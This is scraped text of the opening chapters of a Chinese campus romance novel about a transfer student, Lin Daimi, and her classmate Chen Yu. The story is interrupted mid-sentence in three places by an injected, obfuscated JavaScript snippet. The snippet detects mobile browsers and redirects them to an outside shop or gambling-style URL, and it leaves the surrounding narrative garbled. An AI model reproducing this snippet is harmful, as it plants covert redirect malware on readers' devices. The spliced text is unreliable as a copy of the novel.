《四季豆和伟大前程》 1. 01 《四季豆与伟大前程》 文/番茄兔 2024年的寒假很冷,很短,还不通人情。 头一天刚过完元宵节,心还在节日的气氛里打着转儿,第二天,身体就得去附中报道。 街上,春节余留的热闹还未散去,有人在街头舞狮。 林黛蜜毫无观赏的心情,因为某些原因,她不得不转学来附中。 此刻,她和父亲正走在附中的校园里,公告栏附近,乌泱泱挤满了人,黑压压的一片脑袋,来回攒动着。 她回头说:“爸爸,我也过去看看。” 陆维正点头:“去吧。” 凭借灵活的身手,林黛蜜硬是从外围挤到了前排,盯着上下三排名单表,一一扫过去。 找到了。 高二(六)班。 第二名。 确认完自己所在的班级和名次,出于好奇,她又使劲探头,去找她那个臭屁老哥陆知珩,说是找,其实是确认。 嘿呦! 陆知珩那家伙还真就是附中第一名,名副其实的。 林黛蜜仿佛又看到了,他瘫着那张拽上天的脸,说学习有什么难的。 看完后,林黛蜜猫着腰,正准备退出来,无意间,听到了一耳朵八卦。 “陈喻还是6,为来六班,竟然在答题卡上画了只大乌鸦。” “什么大乌鸦,人家那是鸿鹄。” “老胡问他为啥画只乌鸦,你猜他怎么说。” “怎么说?” “他说,燕雀安知鸿鹄之志。” “哈哈哈哈哈,老胡头都气掉了吧,陈喻来六班,这下有热闹看了。” 听罢,林黛蜜挑眉,这么有个性的吗? 当她抬脚,再次准备离开时,又听到刚才那几个男生讨论起了自己。 “这第二名谁啊?长成什么样啊,还敢叫林黛玉,她爹妈咋想的啊!” “语文才考90分儿,连及格线都达不到,真是奇了,附中好歹也是一老牌名校,现在堕落到连这种货都收了?” “能转来附中,肯定不是简单的人物。” 这个无可辩驳,一般情况下,附中不接受转校生,更何况在高二下半学期转进来。 林黛蜜心里清楚,为了自己,父亲打破了自己不拖关系的原则,把她安置进了附中。 “哥几个,我猜她可能是个间谍。” “也可能大脑语言功能发育不全。” “你还真别说。” “实在对不起这名儿字。” “哈哈哈哈哈。” 听完后,林黛蜜有些生气,她咬了咬唇,正打算开口解释自己不是间谍,大脑语言功能发育也挺好的,却被另一个人抢了先。 “睁大你们的出气筒,人家名字叫林黛蜜,那个字儿念蜜。” “几个大男生好意思蛐蛐别人,我看你们也别读高中了,先回去买本新华字典把字认全再说吧。” 大侠啊这是! 林黛蜜在心里为这位路见不平,拔刀相助的好汉竖起大拇指。 几个男生被堵得哑口无言,更多是惊讶,显然,他们没料到这位女生会开口斥责,林黛蜜看向那个为她出头的人。 是个灵气逼人的女生,和自己差不多的身高,因为生气,晶晶亮的眸中透着冷峻,表情却是凶凶的,看上去有点唬人。 说完后,不等林黛蜜感谢一番,她瞪那几个男生一眼,便潇洒走了。 林黛蜜也退了出来,回到父亲身边说,“爸爸,我在六班,六班的第二名哦。” “有实力!”陆维正朝女儿竖起大拇指,“我女儿就是附中最棒的。” 林黛蜜看了下四周,压低声音:“爸爸你小点声,人家重点班的学生都没说什么呢。” “那怎么了,在我心里我女儿就是宇宙第一棒。” 林黛蜜无奈扶额,面对自家父母的无脑夸赞,她都已经免疫了,反正从小到大,不管她做什么,在她父母眼中都是最棒的,她就是多吃几口饭都会被夸的那种。 “不过爸爸,我发现了一个奇怪的事情。” “什么?” “我不是班里的第二名嘛,你猜猜第一名高出我多少分?” 陆维正思考片刻,坚定地竖起一根手指。 “这都能猜对?”林黛蜜惊讶道,“老爸你简直神了。” “切,我当什么呢,不就比我女儿高一分,开学后咱们分分钟超过他。” 林黛蜜:“……爸爸,人家比我高一百分啊。” “高一百分?” 林黛蜜点头。 陆维正显然不相信:“要是真高那么多,他干嘛跑来六班和我女儿抢第一名?他也太不懂事了。” 林黛蜜也纳闷:“对啊,他这个分数完全可以和我哥一个班了。” “因为他是个愣头青小祖宗呗!” 听到声音,父女两人同时回头,只见一个穿着藏青条纹POLO衫,身材微胖,戴着眼镜的中年男人正笑眯眯地看着他们。 陆维正愣了一下,随即大喜,快步上去和眼前的人握手:“胡波?好家伙!几年不见长老了啊。” “彼此彼此。”胡波也不落下风。 林黛蜜站在原地,看着这对故人开始了“挖苦”式的寒暄。 不知道是不是教高中学生的缘故,胡波看上去比父亲年纪大一些,两边的鬓角有了些许白发,笑起来眼角的细纹一个叠着一个,就像涨潮时,层层叠叠的浪花。 寒暄完毕,陆维正将女儿拉过来:“糖糖,快叫胡老师!” 林黛蜜正要开口,胡波却端起架子来:“在外称职务,请叫我胡校长。” “胡校长好。”林黛蜜乖巧道。 陆维正不屑:“你就装吧你,一个副校长把你嘚瑟得,快上天了。” 胡波冷哼:“某人都是区委书记了,我胡波就不能是校长了?” “好好好,胡校长行了吧,”一听到别人叫他的职务,陆维正便立刻警惕起来:“我把女儿可就放在你的地盘了,你可给我照顾好了,她要是少一根头发,我拿你是问。” 陆维正故意板着脸,命令式地说道。 林黛蜜闻言,略带惊讶地看了一眼父亲,他今天和平时很不一样,原本万年不变,沉稳谦逊的语调变得欢快不少。 能让平时严肃的父亲开起玩笑,看来,胡波校长对父亲而言,是个很投脾气的人。 胡波拧眉:“欸,这是哪里的话,我堂堂一个校长,还罩不住一个小姑娘?” 陆维正:“副的。” 胡波无语瞪他一眼:“陆维正,多少年过去了,你这人还是如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958183|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨厌,让人忍不住想踹你……” “行了,”见女儿好奇地看着,陆维正清了清嗓子,赶紧把话题引开,“你刚才说的那个第一名怎么回事?” 说到这一茬,胡波一副“别提了”的表情,“就一破小孩,叫陈喻,考试成绩在全校前五十,本来应该安置在重点班的,可他倒好,跑来跟我掰扯什么分班制度是教育资源的不公平,还会扼杀学生积极性,这不,为了践行人家这一观点,坚决不肯去重点班,这小子,道理一套一套的,比我这个副校长还能说。” 听完胡波噼里啪啦一顿吐槽,陆维正点点头感慨道:“现在的孩子啊,都很有性格,哪里像咱们那时候,有本儿书看都不错了。” 胡波点头表示赞同,两人又回忆了几句当年的趣事,最后胡波拍了拍陆维正的肩:“行了,你先带孩子熟悉熟悉环境,我这还得去学校晃悠着,以防那帮小兔崽子们又惹出什么事儿。”说完,他就摆摆手,晃悠悠地走进了人群。 陈喻? 还反对分班制度? 不知道为什么,林黛蜜脑海中下意识勾勒出一个可能戴着厚眼镜依旧目光如炬、横眉冷对的革命者形象。 想到这里,她跑过去,打开手机,对准分班表上“高二(六)班”,以及下面“陈喻”和“林黛蜜”两个并排的名字,轻轻按下了快门。 她莫名其妙想,未来,这个人会是什么样的呢?她又会是什么样的呢? 等胡波走远,林黛蜜拧开手里的矿泉水递过去,说,“爸爸,你今天很不一样。” 闻言,陆源怔了下,随即笑开,“初中时候的上下铺,到现在,已经过了二十几年。” “二十几年?”林黛蜜诧异加大大的不解:“相处这么融洽,一见面毫无隔阂的两个人,怎么舍得二十几年不见?” “这个嘛!”陆维正看着女儿,想解释,又觉得无从说起,只是拍了拍她的肩膀,“等你像爸爸这么大年纪,就会明白。” 林黛蜜执拗道:“你现在告诉我,我现在就明白岂不是更好?” 陆维正无奈笑道:“就算现在告诉你,你也不一定会理解,等你和爸爸一样老,不用别人教你就会明白。” 又是这样,问了相当于没问,林黛蜜叹口气,她换了其他问题,“分开这么久,您不会思念朋友吗?” “偶尔会。” “那为什么不见面?” 陆维正将目光投向远处,打打闹闹成一团的孩子们,怅然若失道:“大概是,需要一个正当且充足的理由吧。” 林黛蜜轻轻点头,“所以我是你们今天见面正当且充足的理由喽。” “没错。” 林黛蜜明白了,其实碍于自己的身份,在工作之外,陆维正很少见什么亲戚朋友,这回要不是她来这里上学,父亲应该不会私下见胡波的。 那一瞬间,林黛蜜突然觉得,长大没意思了。 沉默半响,林黛蜜再次开口,“可是爸爸,思念一个人本来不就是见面的正当理由吗?” 陆维正停下喝水的动作,像是被女儿问住了,难道他要回答,当大家的生活不再同频之后,许多人和许多事都会逐渐淡漠,曾经再鲜活的画面,都会蒙上尘土?即便那并非自己所愿的,但也的确无可奈何。 最后,他还是重复那句话:“你长大就明白了。” 2. 02 胡波说他赶着去开会,陆维正也被叫回去开会,她的母亲林韵也是,一天到晚把开会挂在嘴边。 大型会议,中型会议,小型会议。 见面会,交流会,决策会,培训会,座谈会,研讨会,学习会,圆桌会…… 她实在是搞不明白,大人怎么有那么多会要开,就好像,真正构成这个世界的,并不是物质,而是会议。 总之,家里没人,所以结束之后,林黛蜜没有直接回家。 她还有一个任务,找一家靠谱的理发店,修剪头发。 昨天心血来潮,学着短视频里的美妆博主给自己剪头发,结果呢,当然以失败告终。 顶着一头被剪得参差不齐,像是被狗啃了似的头发,她实在没脸见人。 都说人和人之间,第一次见面的映象很重要,明天就要开学了,她可不能给新同学留下不好的映象。 她怕多年后,同学们想起她,先于名字出现的,是她的“狗啃发型”。 她一个人走在街上,沿着弯弯绕绕的巷子,东看看,西看看。 整个市里,先不说学习,就学生幸福指数这一块儿,附中学生说第一,没人会提出异议。 背靠岚城大学,顺带享受了岚大的游戏厅,美食街,商场等一系列娱乐设施,可谓是应有尽有。 从学校大门出来,向右走三四百米,再过一个红绿灯,继续右拐,就会出现一条不怎么窄的窄胡同,胡同两面,各种花花绿绿的美食招牌一字排开。 陆知珩说,到了晚上,这些招牌会悉数亮起,食物散发出的香气会让每个过路人举手投降。 一想到大家冲出校园的那一刻,口中都在分泌唾液,林黛蜜就觉得好好笑。 是挺好笑的,因为她发现,自己也在默默咽口水。 一家一家看过去,包子店、馄饨店、米线店、火锅店、书店、文具店……每家店铺都不大,十几平的样子,里面的布局装饰也大差不差,老板们很热情,看上去,接下来的高中生活能过得相当滋润了。 中考那年,她发挥得不是很好,错过了进附中的机会,和她形成鲜明对比的是,陆知珩以第二名的成绩被附中录取。 那会儿父母征求过她的意见,还告诉她,如果她想的话,可以把她放进陆知珩所在的重点班。 林黛蜜听完,立马就拒绝了,她知道那是父母私心的爱,但她一向对搞特殊、走后门之类的行为嗤之以鼻。 就那样,她以“鸡头”的成绩,进了一中,本来以为,她会顺理成章从一中毕业。 但没料到,高二上学期发生了一些事儿,陆维正和林韵都不放心再将她一个人放在那里了。 于是,兜兜转转,她还是来到了附中,这能不能算作,某种意义上的,命里有时终须有呢? 她暂时还不清楚。 一中的语文老师说过,生命里,有很多事情,是后知后觉的。 命运的拐点出现在哪里,事后才会知道,从出现到知道,也许得花上很多年。 *** 下午五点半。 林黛蜜站在一家理发馆前,它的名字也应景,叫“从头做起”。 玻璃门上贴了红字,透过那门,她看到里面只有一位顾客在剪头发,便握着不锈钢把手,推门进去。 很常规的装修风格,一整面墙的镜子,镜子前,洗剪吹工具堆放着,没什么章法,沙发上,有两三本美发杂志,最上面的一本摊开着。 室内开着暖光的灯。 年轻顾客坐着,托尼老师脖子上挂着黑色围裙,来回打着转,给顾客剪头发。 “欢迎光临!”见她进来,托尼老师扭头,笑得相当灿烂,“小姑娘进来先坐,马上到你哦。” “好。” 林黛蜜点了点头,走到里面,坐在镜子对面的橘黄色沙发上,坐下的一瞬间,感觉屋里有点闷热。 从兜里摸出一枚发卡,当她把额前的碎发别在耳后,再次抬头时,意外撞入一道视线中。 是那位年轻的顾客。 对方有着一双很漂亮的眼睛,眼型狭长,眼角稍扬,目光却一点都不柔和,给人一种又颓又精致的感觉。 大概是因为他的目光过于锐利,导致整个人看上去脾气不太好,对视了有四五秒钟,男生还没移开目光,林黛蜜便大方朝他笑了笑,以此来表达自己的友好。 “哟,两个小同学认识?”托尼老师的目光在两人脸上转了几个来回,随口问道。 不等托尼老师话落,男生平移挪开目光,冷冷开口,“不认识,麻烦专心剪你的头发。” 好吧! 他的语气和眼神一样锐利、冷淡,像谁欠他钱了似的。 “年轻人气性那么大不好,”手底下的动作娴熟进行着,托尼老师嘴也不闲着,时刻不忘推销,“哥刚才给你介绍的套餐划算不?要不要来一套?” “挺划算的。”年轻男生再度开口。 托尼老师一听有戏,顿时喜上眉梢,“那哥再送你一套……” “可惜我用不到了。” 此话一出,成功截住了托尼老师准备好的说辞,联想到什么,他结巴起来,“用……用不到了……” “为什么用不到?” 她心里不藏事儿,下意识的,林黛蜜将心里的疑惑问出口,听上去求知欲满满。 和理发师比起来,她是真的好奇,亦或者说,她没理发师人生经历丰富,没有联想到,那些不好的可能。 少年淡淡扫一眼镜子里的林黛蜜,长叹一口气,“就在上周,我确诊了脑癌,医生说……没多少时间了。” 闻言,林黛蜜本来微微上扬的苹果肌顿时一垮,一颗心直直沉到底。 怎么会,这太残忍了,太让人难以接受了,他明明看上去和自己差不多大,怎么会得那样的病。 托尼老师大抵也是类似的心路历程,听完后,他咬着唇一言不发,就连捏着剪刀的手都不如之前灵活了。 少年的声音低沉缓慢,他继续说。 “其实你们不用这样,在我看来,人活着本来就没什么意思,最后的结果都是个死,早一点也没什么关系。” “这大概是我这辈子最后一次进理发店了吧,下次我直接买个剃头刀自己剃光就成,”停顿了几秒,他又补充道:“不过老板,这事儿你别往外说啊,我不想其他同学知道。” 说完这句话,林黛蜜和少年的目光再次对上,像是在无声警告她:尤其是你,最好把嘴闭严实了。 这一次,她一点都笑不出来了,眼中已经蓄满了化不开的悲伤,林黛蜜想哭。 怪不得他刚才那么凶,这事儿搁谁身上谁都受不了啊。 这是一条多么年轻的生命啊。 对林黛蜜来说,眼前这个男生说的话,都是她闻所未闻的,应该说,她之前知道这个可悲的事实,但截止到现在,还没有从任何一个人口中听到过。 她漂亮悲伤的眼睛盯着男生,一动不动,只是感觉,心脏怦的一跳,然后变得空空的,刹那间,就像离开了身体。 这次的沉默持续了很长时间,一直到男生的头发被剪完,托尼老师帮他小心吹干,去掉藏青色的理发袍后,男生理了理衣服,缓缓站起来。 举起手机扫码,付了钱之后,他抬脚往外面走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就对了,”林韵温柔注视着女儿,“中一百万是亿万分之一的概率,猜到正确的答案是四分之一的概率,得癌症,是百万分之一的概率。” “即便如此,在同一个时空,这三件事还是一起存在着,你看,这就是我们所在的世界,不管是谁,都要学会接受这一点总之,生活还要继续。” 林黛蜜:“可是妈妈……” “可是宝贝,你再难过下去,可怜的螺蛳粉就要被你冷落了,你不是最讨厌浪费粮食了吗?” 林黛蜜熟练地接下去:“好吧!” 林韵捏了捏林黛蜜的手:“那就去洗手吧,我的漂亮宝贝。” 这就是她最亲爱的妈妈,即使林黛蜜只发出一个音节,林韵都能第一时间判断出她的情绪好坏。 在自己的领域里,她是很厉害的律师,不过在林黛蜜看来,林韵做她的妈妈,比做律师更加专业。 就像刚才,林韵能第一时间明白林黛蜜难过的点在于,为什么癌症会降临在一个年轻男孩头上。 按照林韵说的办法,把这件事想成一个概率问题,这是每天都在发生的事情,发生很多之后,会被制作成扇形或者圆柱形统计图,或许会出现在试卷上,那个时候,她只想最快最准确地算出答案,那些数字背后的事情,她大概率不会思考。 这样听上去挺没人情味儿的,可现实是,每个人都有自己背负的课题,就像林韵经常说的,作为一名律师,你可以在他人身上投射同情,厌恶,羡慕,喜欢,但一定要记得,最终回来走自己的路。 毕竟,只有这样,生活才能不被情绪击垮,生命才会继续下去。 3. 03 第二天傍晚,当晚自习预备铃声响起的时候,陈喻的一只脚,将将踏入学校大门。 靠,不能被抓吧! 早知道不来了! 怕什么来什么,下一秒,保安室里钻出一道微胖的身影,拦住了陈喻的去路。 胡波摆出训人的专用姿势,两手抱于胸前,抬着下巴问:“陈喻同学,你来得是不是太早了点?” 没错,他训人的时候,还酷爱说反话,只有很傻的那种傻蛋才会听不出来,世界上大概不存在傻到那个地步的人。 陈喻熟练顺毛:“老胡,你先消消气,我这会儿才来,那都是有原因的。” “行,我就听听,你今天能编出个什么动听的理由出来,”胡波用食指挠挠耳朵,“说说吧,我洗耳恭听。” “公交车司机和乘客吵架不肯开车,我下车跑过来的,就迟到了。”陈喻言简意赅,只用一句话就说完了。 “呵呵!”胡波干笑两声,“多新鲜啊,我就问你,这个理由你自己信吗?这种烂梗和下雨天妈妈冒雨背着我去医院有什么区别?” 就知道是这样,陈喻无奈:“您要是不信的话,可以找个人作证,当时车上有不少人。” “我一个堂堂附中校长,看上去很闲吗?” 陈喻点头。 天都快黑了,和自己在这儿掰扯半天了,可不是很闲吗? 本来吧,就这学期来说,陈喻压根就没必要来学校,但是出国还有些手续要办,他就想赶紧弄完赶紧回去,没想到啊,不偏不倚,栽胡波手里了。 胡波:“迟到的事情咱就先放到一边,就你一个重点班的好苗子,非要去六班这个事儿,我想要一个合理的解释。” 说实话,陈喻之前说的那些冠冕堂皇的理由,胡波一个字都不信,他怀疑真正的原因是。 六班有陈喻喜欢的小姑娘。 对此,陈喻已经懒得解释了,他想到重点班在五楼,便随口瞎扯:“重点班海拔太高,我缺氧。” “你就满口胡诌吧。” 过了一会儿,胡波又压低声音,神秘兮兮道:“你喜欢的小姑娘在六班?谁啊?” 陈喻也压低了声音,凑到胡波耳边,“其实啊,我喜欢的是……” 胡波一口气提到嗓子眼,捂住耳朵,生怕错过他的一个音节,半晌,却只听陈喻坏笑道。 “六这个数字。” “你个完蛋孩子,”胡波一巴掌拍在陈喻肩膀上,气得差点蹦起来,“多少人花钱想进重点班都没成功,你倒好,直接放弃了,我说,咱就不能有点上进心吗?我去超市买螃蟹,人家那五十五的螃蟹都知道往八十五的池子里爬,你呢?” “爬到八十五的池子里还不是一样被吃?”陈喻不屑道:“被穷人吃和被富人吃有什么区别吗?反正人最后都要死,进了重点班死和没进重点班死有什么区别吗?” 胡波:“……那是一个道理吗?” 陈喻:“这不您自己举的例子吗。” “陈喻啊陈喻,”胡波崩溃得双手抱头,作投降状,哪知道目光稍微一偏,头更疼了。 他以为只有陈喻迟到了,万万没想到啊,有卧龙的地方,必有凤雏。 林黛蜜一下公交车,正准备旋风似的冲进教室,可她刚冲进校园门,就看到了气鼓鼓的胡波,他还用双手抱着头,看上去……像个愤怒的癞蛤蟆。 不可以这样说老师! 就算像也不能说! 那是不礼貌的! 向老师道歉! “对不起,老师。” “没关系,下次不许再这样了。” “好的,谢谢老师。” 就这样,林黛蜜站在原地,认识到自己的错误,批评了自己,道了歉,并假扮胡波原谅了自己。 陈喻的视线绕过胡波,看到站在原地,神神叨叨的女生,恰好,他眼神不错,记性也不错。 她应该是昨天理发店那位吧。 迟到了还不知道跑? 她是在念咒语吗? 念完了时间就会暂停? 还是说念完之后,胡波会凭空消失? 陈喻大为不解。 这会儿功夫,林黛蜜想的却是,她刚才听到胡波说“陈喻啊陈喻”。 他也叫陈喻吗?没认错的话,他是昨天理发店那个人吧。 他和高出自己一百分,在试卷上画乌鸦……不是,画鸿鹄的那个陈喻,会是一个人吗?正这样想着,就看到胡波朝在招手,示意她过去。 胡波将人叫到跟前,开口就是经典的反问句:“林黛蜜同学,你来得是不是太早了点?” 每次被问这个问题的学生,不是低头深情凝视自己的脚尖,就是低头一个劲儿认错,正常人都这样。 但很明显,林黛蜜是个意外,她直视胡波,摇摇头说:“老师,已经不早了,严格来说我已经迟到了。” 陈喻:“?” 好一个装傻充愣! “你还知道自己迟到了?”胡波没忍住咆哮道:“我是干什么的?能不知道你迟到了?” “对不起老师,”林黛蜜这才低着头诚恳道歉,“我保证没有下一次了,我下次会提前出发的,宁可早到一小时也绝不迟到一分钟。” 见她态度还不错,胡波又慢悠悠问:“今天为什么迟到啊?” 林黛蜜蹙眉道:“这件事情啊要说明白的话,我至少得一人分饰五角儿。” 陈喻挑了下眉毛,没忍住说:“你这么厉害呢。” “嘿嘿!” “这不算什么的,我小时候还一个人演过西游记呢,如果你想看,我可以考虑为你表演一次。”林黛蜜心想,他是如此可怜,作为同学,自己要是能带给他,哪怕片刻的欢乐,她也是非常愿意的。 啧啧啧。 你讽刺对方,结果对方压根没听出来,你话里藏刀,她反而给了你一块绵花糖,要不是自己眼前就站着这么一位,陈喻是打死都不相信,世界上还有这种奇葩。 看着她认真的目光,陈喻生平第一次感到不自在,他只好用不耐烦掩饰,“行了行了,知道你很厉害,现在你先一人分饰五角儿,给老胡讲清楚那事。” 陈喻知道的。 他和林黛蜜坐的是同一辆车,从林黛蜜出区门,到刷卡上车,陈喻一直看着,顺带着,他还瞟了一眼那个站点的名字。 “好的,那我开始了。”接着,林黛蜜开始了自己现场还原一般的表演。 “我出门坐上了215路公交车,一开始所有事情都很正常,但是,当车开到滨江大道的时候,上来一穿背心的大爷,那一身的肌肉啊,只见他左手纹着花臂,右手拎着一辆自行车,气咻咻就上来了。” “我猜他是因为自行车坏了才生气的,接下来到对话了啊,为了方便你们区分,我扮演司机的时候两只手臂就垂下来,我扮演大爷的时候两只手臂就举起来。” 陈喻心道,天才,你快开始吧,我想正常人能通过语言分辨出来。 “开始了啊。” 接下来的讲述,林黛蜜保留了自己丰富又夸张的肢体语言,一会儿化身弱鸡司机,一会化身剽悍大爷,一会还得扮演劝架的人民群众,一幕幕看下来,陈喻直挠头。 他竟然有一种,看了场话剧的感觉,真的,没有技巧,全是感情。 他觉得,国家话剧院欠林黛蜜一个金奖。 不但动作,她连语气都模仿的惟妙惟肖。 司机师傅的口音带着上了一天班的疲惫,有一种活人微死感:“唉!刚才拎自行车上来那个,把自行车票买一下。” 剽悍大爷则扭头,怒目大喊:“哼!自行车又不是人,凭什么买票。” 司机师傅弱弱的:“上面规定的,不买的话会罚我的款。” 剽悍大爷声音提高八度:“哪个上面规定的,我看就是你故意找茬,为什么婴儿车不用买票?” 司机师傅不耐烦来了句:“不买票那就下去。” 剽悍大爷更剽悍了:“我就不下去。” 演到这里,林黛蜜恢复正常,对胡波说:“到这里就僵住了,司机师傅也不开车,那个大爷也不下去,那个时候车上有好多人,可能看着大事不妙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958185|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都陆陆续续下车走了。” “那你为啥没走?你不怕他们打起来误伤你?” 胡波彻底听明白了,也真的相信这事儿了,他现在更多的,是对林黛蜜的担心,这个瓜娃子咋就没有点危险意识呢? 现在人人压力都大,要是那司机一个冲动,开着公交车,直接冲进江里,又或者,肌肉男和司机打起来,那后果是不堪设想的,以前又不是没有过这样的事情。 “我……”林黛蜜眨巴几下大眼睛,略微一思考,“我不能走啊,我走了的话,最后谁来解决问题呢?” 胡波似乎听到了天大的笑话,不可置信蹙眉:“就你?还解决问题?” 林黛蜜点头:“是啊,最后是我帮那个叔叔刷卡、付了钱,然后公交车才重新启动的。” 胡波简直想晕,他狠狠搓几下脸,严肃道:“林黛蜜同学,你给我听好了,以后遇到这种冲突,你就学陈喻,直接下车跑过来都行,迟到多久都没关系,哪怕不上课都没关系。” “为什么?”林黛蜜问。 “你说为什么呢?因为在我看来,当发生这种事情的时候,这个社会再冷漠,第一个站出来的人,也不应该是作为学生的你,你能明白吗?” “可是老师,我觉得可以是我,也应该是我,”林黛蜜执拗道,“从小的教育不就是……” “不可以。”胡波厉声打断她,扭头看向许久一言不发的陈喻,“你和她坐的是一个方向的车,以后要是再发生这种事情,你看着她点,别让她多管闲事,听到了没?” “知道了。”陈喻客套般应了一声。 他心里冷笑着,看吧,这个世界就是这样,把互帮互助写在书上,把自私自利落在实处。 倒是眼前的女生,浑身散发着一种,还未被完全浊化的傻气,不过应该也用不了多久,毕竟,只要是人,就不会是什么好东西。 陈喻看到,她和门卫打了招呼,然后上车,她上车的那一站是。 省政府家属院。 因为看的书又多又杂,陈喻是那种,很善于思考观察,并见微知著的人。 只是通过林黛蜜出门时和门卫打了招呼,然后在省政府家属院等公交车这个细节,他很快便推测出,林黛蜜基本的家庭构成。 按理说,父母是体制内家庭的孩子,不管待人接物,还是日常说话,大多都敏锐,谨慎,他们最会在人群中隐藏自己的身份,他们习惯于,不动声色打量别人,习惯于,冷眼看着事情发展下去,好明哲保身。 但林黛蜜不是,她看上去懵懵懂懂的,一点事儿全写在脸上。 有两种可能,第一,她很会伪装,第二,她真的傻,至于是哪一种,陈喻暂时无法看透。 说清楚事情经过之后,胡波放两人回了教室,他还要继续抓迟到的学生。 走到教学楼底下,陈喻突然停下了脚步,回头说:“你先进去。” “为什么?”林黛蜜什么都想去问明白。 “这都不懂?” “我应该懂什么?” 陈喻挑明了说:“两个好看的人,一起迟到,一起出现在全班人面前,你觉得别人会怎么看?” 林黛蜜笑:“谢谢你夸我长得好看,我觉得你也好看。” “……这位天才,这句话的重点是在这里吗?”说实话,能让陈喻短时间内无语这么多次的人,眼前这位是第一个,没办法,人家听不懂, 他只好更直白解释道,“我的意思是,一起出现的话,肯定会被起哄,会说我和你搞对象,你倒是无所谓,我可不想被你占了便宜。” 这下林黛蜜听懂了,确实是她欠考虑了,陈喻可是病人,病人是一定需要静养的,可经不起这样的谣言。 于是,她发誓一般,重重点头说:“你放心,我不会占你的便宜,但你也不能让别人占你的便宜。” 陈喻:“?” 她又在瞎说什么? 什么叫她不占便宜?什么叫也不能让别人占便宜? 搞得他是她的所有物似的,看到好看的人就想占有,这是什么奇怪的占有欲。 4. 04 上了三楼之后,由于昨天只来过一次,为了确保不会进错教室,林黛蜜还是按照教室门上的牌子,一路找过去,她在一间分贝明显高于其他教室的门口前停下。 高二(6)班。 和昨天不同的是,刷了蓝色油漆的铁门上,多了一张A4纸,纸上大大咧咧躺着八个大字。 六班府邸! 外人免进! 嚯!这才开学第一天,谁这么有个性。 带着这个疑问,林黛蜜抬高右手,敲了敲门,里面立刻安静下来,她缓缓推门进去。 方才还此起彼伏的黑色脑袋,此刻,已经排成了一条,所有人正襟危坐,整齐划一地盯着桌面。 有点搞笑,原来站在老师的角度,真的能把学生的动作尽收眼底,林黛蜜知道,大家肯定都以为是班主任进来了,才突然变得正经起来。 等看清楚进来的是个女生,还是个很漂亮的女生,安静了片刻的教室,重新沸腾起来。 林黛蜜像是一个泡腾片,被猛得扔进教室,炸起无数的水花。 尖叫的,拍桌子的,吹口哨的,手舞足蹈的,简直就是大型人类返祖现场。 她莫名其妙想起一句诗来! 常有高猿长啸! 一时间,林黛蜜被唬住了,她站在门口有点不知所措,推门之前,她是做了心理准备的,很明显,还是做少了。 好在,这种状况没有持续多久,有人出来制止了。 是一个梳着高马尾的女孩子,她“蹭”地站起来,三两步迈上讲台,拿起手边的教材书,卷成筒状。 “啪啪啪啪”重拍几下讲桌后,聒噪声停止了。 “都给我安静。”她气势十足吼道,“这是菜市场吗?” 同学们被镇住了。 而后,她扭头看向林黛蜜,开口:“张雨倩,六班班长。” 女生冷不丁冒出这么一句,等她说完,过了两三秒,林黛蜜才意识到,她刚才是在自我介绍。 好厉害,好酷,林黛蜜在心里默默为她竖起大拇指,此女颇有领导人的风范。 就这么一会儿的功夫,底下又开始蠢蠢欲动,张雨倩再次大声镇压,“闭嘴,你们出去听听,全楼道就咱们班最吵,不就是来个新同学,需要这么大惊小怪的吗?” “需要~” 顺着娘里娘气的声音,林黛蜜又看到几张不那么陌生的脸,是昨天说她是汉奸,说她大脑发育不全的那几个男生。 有人接着起哄:“班长,这就是林妹妹吧,你看人家多温柔,你再看看你多暴躁。” “你信不信我把你从窗户上扔出去?”张雨倩冷笑一声,“扔的时候我,保证非常温柔。” 班里又安静了一会儿,趁这个空隙,林黛蜜大步迈上讲台,简单打了个招呼,“大家好,我叫林黛蜜,是从一中转学过来的,以后请多多指教。” “没问题。”有人扯着嗓子喊。 林黛蜜笑笑,然后回头,问张雨倩,“班长,我看你旁边有空座位,我可以坐吗?” 从林黛蜜进门那一刻,张雨倩就开始做表情管理,她不得不承认,林黛蜜很漂亮。 整张脸,艳而不俗,最难得的是,她身上那种,浑然天成的烂漫与单纯。 张雨倩想起喜宝说。 我要很多很多的爱,如果没有爱,就很多很多的钱。 张雨倩确定,眼前的女孩子,得到了很多很多的爱,钱自然也不缺,这样的女生,甚至都不怎么看重钱。 拥有这些东西的人,大概率意识不到自己拥有着,匮乏的人,一眼便能认出来,因为那是自己没有,却在别人那里多出来了东西。 但是,张雨倩绝对不能表现出来,她不允许任何人,从她这里带走一丝优越感。 因此,林黛蜜问她要坐哪里时,张雨倩连一个眼神都没分给林黛蜜,她随意地抬起手指,指了指正中间最后面的位子,回答道,“我旁边的位置是给别人留的,后面那两个空位子,你随便选一个就行。” “好,谢谢班长。”林黛蜜扬起脸笑,丝毫没有被拒绝的难堪,只是喜滋滋地走向她的位置。 班里所有人的目光尾随着林黛蜜,看她走过教室过道,然后坐下,掏出书包里的书,除了张雨倩。 